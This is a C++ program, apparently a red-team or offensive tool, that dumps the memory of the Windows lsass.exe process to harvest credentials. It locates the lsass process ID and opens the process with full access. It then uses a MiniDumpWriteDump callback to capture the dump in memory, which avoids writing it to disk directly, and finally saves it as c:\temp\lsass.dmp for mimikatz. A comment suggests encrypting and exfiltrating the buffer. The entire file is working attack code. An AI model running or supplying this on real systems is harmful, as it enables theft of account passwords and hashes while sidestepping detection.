#include #include #include #include #include #pragma comment (lib, "Dbghelp.lib") using namespace std; // Buffer for saving the minidump LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75); DWORD bytesRead = 0; BOOL CALLBACK minidumpCallback( __in PVOID callbackParam, __in const PMINIDUMP_CALLBACK_INPUT callbackInput, __inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput ) { LPVOID destination = 0, source = 0; DWORD bufferSize = 0; switch (callbackInput->CallbackType) { case IoStartCallback: callbackOutput->Status = S_FALSE; break; // Gets called for each lsass process memory read operation case IoWriteAllCallback: callbackOutput->Status = S_OK; // A chunk of minidump data that's been jus read from lsass. // This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it. // We will simply save it to dumpBuffer. source = callbackInput->Io.Buffer; // Calculate location of where we want to store this part of the dump. // Destination is start of our dumpBuffer + the offset of the minidump data destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset); // Size of the chunk of minidump that's just been read. bufferSize = callbackInput->Io.BufferBytes; bytesRead += bufferSize; RtlCopyMemory(destination, source, bufferSize); printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize); break; case IoFinishCallback: callbackOutput->Status = S_OK; break; default: return true; } return TRUE; } int main() { DWORD lsassPID = 0; DWORD bytesWritten = 0; HANDLE lsassHandle = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); LPCWSTR processName = L""; PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); // Get lsass PID if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } printf("[+] lsass PID=0x%x\n",lsassPID); } lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // Set up minidump callback MINIDUMP_CALLBACK_INFORMATION callbackInfo; ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION)); callbackInfo.CallbackRoutine = &minidumpCallback; callbackInfo.CallbackParam = NULL; // Dump lsass BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo); if (isDumped) { // At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate printf("\n[+] lsass dumped to memory 0x%p\n", dumpBuffer); HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it if (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL)) { printf("\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n", dumpBuffer, bytesWritten); } } return 0; }